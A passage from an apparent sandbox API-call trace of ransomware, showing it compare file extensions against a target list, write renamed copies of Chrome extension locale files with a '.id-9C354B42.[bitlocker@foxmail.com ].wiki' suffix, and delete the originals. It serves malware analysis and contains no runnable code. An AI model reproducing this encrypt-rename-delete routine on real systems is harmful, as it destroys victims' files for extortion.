(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.039] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json")) returned 1 [0180.039] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.039] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.039] lstrlenW (lpString=".doc") returned 4 [0180.039] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.039] lstrlenW (lpString=".docx") returned 5 [0180.039] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.039] lstrlenW (lpString=".pdf") returned 4 [0180.039] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.039] lstrlenW (lpString=".xls") returned 4 [0180.039] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.039] lstrlenW (lpString=".xlsx") returned 5 [0180.039] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.039] lstrlenW (lpString=".ppt") returned 4 [0180.039] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.039] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.039] lstrlenW (lpString=".zip") returned 4 [0180.039] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.040] lstrlenW (lpString=".rar") returned 4 [0180.040] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.040] lstrlenW (lpString=".bz2") returned 4 [0180.040] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.040] lstrlenW (lpString=".7z") returned 3 [0180.040] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.040] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.040] lstrlenW (lpString=".dbf") returned 4 [0180.040] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.040] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.040] lstrlenW (lpString=".1cd") returned 4 [0180.040] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.040] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.040] lstrlenW (lpString=".jpg") returned 4 [0180.040] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.040] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.040] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.040] lstrlenW (lpString=".doc") returned 4 [0180.040] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.040] lstrlenW (lpString=".docx") returned 5 [0180.040] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.040] lstrlenW (lpString=".pdf") returned 4 [0180.040] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.040] lstrlenW (lpString=".xls") returned 4 [0180.040] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.040] lstrlenW (lpString=".xlsx") returned 5 [0180.040] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.235] lstrlenW (lpString=".ppt") returned 4 [0180.236] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.236] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.236] lstrlenW (lpString=".zip") returned 4 [0180.236] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.236] lstrlenW (lpString=".rar") returned 4 [0180.236] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.236] lstrlenW (lpString=".bz2") returned 4 [0180.236] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.236] lstrlenW (lpString=".7z") returned 3 [0180.236] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.236] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.236] lstrlenW (lpString=".dbf") returned 4 [0180.236] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.236] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.236] lstrlenW (lpString=".1cd") returned 4 [0180.236] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.236] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 151 [0180.236] lstrlenW (lpString=".jpg") returned 4 [0180.236] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.236] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.236] lstrlenW (lpString="messages.json") returned 13 [0180.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.237] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=232) returned 1 [0180.237] CloseHandle (hObject=0x2e0) returned 1 [0180.237] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json")) returned 0x2020 [0180.237] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.237] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.238] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.238] GetLastError () returned 0x0 [0180.238] ReadFile (in: hFile=0x2e0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xe8, lpOverlapped=0x0) returned 1 [0180.239] WriteFile (in: hFile=0x158, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0180.240] ReadFile (in: hFile=0x2e0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.240] WriteFile (in: hFile=0x158, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.240] SetEndOfFile (hFile=0x158) returned 1 [0180.240] CloseHandle (hObject=0x158) returned 1 [0180.240] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.240] SetEndOfFile (hFile=0x2e0) returned 1 [0180.241] CloseHandle (hObject=0x2e0) returned 1 [0180.241] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.241] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json")) returned 1 [0180.242] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.242] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.242] lstrlenW (lpString=".doc") returned 4 [0180.242] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.242] lstrlenW (lpString=".docx") returned 5 [0180.242] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.242] lstrlenW (lpString=".pdf") returned 4 [0180.242] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.242] lstrlenW (lpString=".xls") returned 4 [0180.242] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.242] lstrlenW (lpString=".xlsx") returned 5 [0180.242] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.242] lstrlenW (lpString=".ppt") returned 4 [0180.242] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.242] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.242] lstrlenW (lpString=".zip") returned 4 [0180.242] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.242] lstrlenW (lpString=".rar") returned 4 [0180.242] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.242] lstrlenW (lpString=".bz2") returned 4 [0180.242] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.242] lstrlenW (lpString=".7z") returned 3 [0180.242] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.242] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.242] lstrlenW (lpString=".dbf") returned 4 [0180.242] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.242] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.242] lstrlenW (lpString=".1cd") returned 4 [0180.242] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.242] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.242] lstrlenW (lpString=".jpg") returned 4 [0180.242] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.243] lstrlenW (lpString=".doc") returned 4 [0180.243] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.243] lstrlenW (lpString=".docx") returned 5 [0180.243] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.243] lstrlenW (lpString=".pdf") returned 4 [0180.243] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.243] lstrlenW (lpString=".xls") returned 4 [0180.243] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.243] lstrlenW (lpString=".xlsx") returned 5 [0180.243] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.243] lstrlenW (lpString=".ppt") returned 4 [0180.243] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.243] lstrlenW (lpString=".zip") returned 4 [0180.243] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.243] lstrlenW (lpString=".rar") returned 4 [0180.243] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.243] lstrlenW (lpString=".bz2") returned 4 [0180.243] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.243] lstrlenW (lpString=".7z") returned 3 [0180.243] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.243] lstrlenW (lpString=".dbf") returned 4 [0180.243] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.244] lstrlenW (lpString=".1cd") returned 4 [0180.244] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 151 [0180.244] lstrlenW (lpString=".jpg") returned 4 [0180.244] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.244] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.244] lstrlenW (lpString="messages.json") returned 13 [0180.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.498] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=210) returned 1 [0180.499] CloseHandle (hObject=0x334) returned 1 [0180.499] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json")) returned 0x2020 [0180.499] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.499] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.499] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0180.500] GetLastError () returned 0x0 [0180.500] ReadFile (in: hFile=0x334, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd2, lpOverlapped=0x0) returned 1 [0180.501] WriteFile (in: hFile=0x1a4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0180.502] ReadFile (in: hFile=0x334, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.502] WriteFile (in: hFile=0x1a4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.502] SetEndOfFile (hFile=0x1a4) returned 1 [0180.502] CloseHandle (hObject=0x1a4) returned 1 [0180.502] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.502] SetEndOfFile (hFile=0x334) returned 1 [0180.503] CloseHandle (hObject=0x334) returned 1 [0180.503] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.503] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json")) returned 1 [0180.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.504] lstrlenW (lpString=".doc") returned 4 [0180.504] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.504] lstrlenW (lpString=".docx") returned 5 [0180.504] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.504] lstrlenW (lpString=".pdf") returned 4 [0180.504] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.504] lstrlenW (lpString=".xls") returned 4 [0180.504] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.504] lstrlenW (lpString=".xlsx") returned 5 [0180.504] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.504] lstrlenW (lpString=".ppt") returned 4 [0180.504] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.504] lstrlenW (lpString=".zip") returned 4 [0180.504] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.504] lstrlenW (lpString=".rar") returned 4 [0180.504] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.504] lstrlenW (lpString=".bz2") returned 4 [0180.504] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.504] lstrlenW (lpString=".7z") returned 3 [0180.504] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.504] lstrlenW (lpString=".dbf") returned 4 [0180.504] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.504] lstrlenW (lpString=".1cd") returned 4 [0180.504] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.504] lstrlenW (lpString=".jpg") returned 4 [0180.504] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 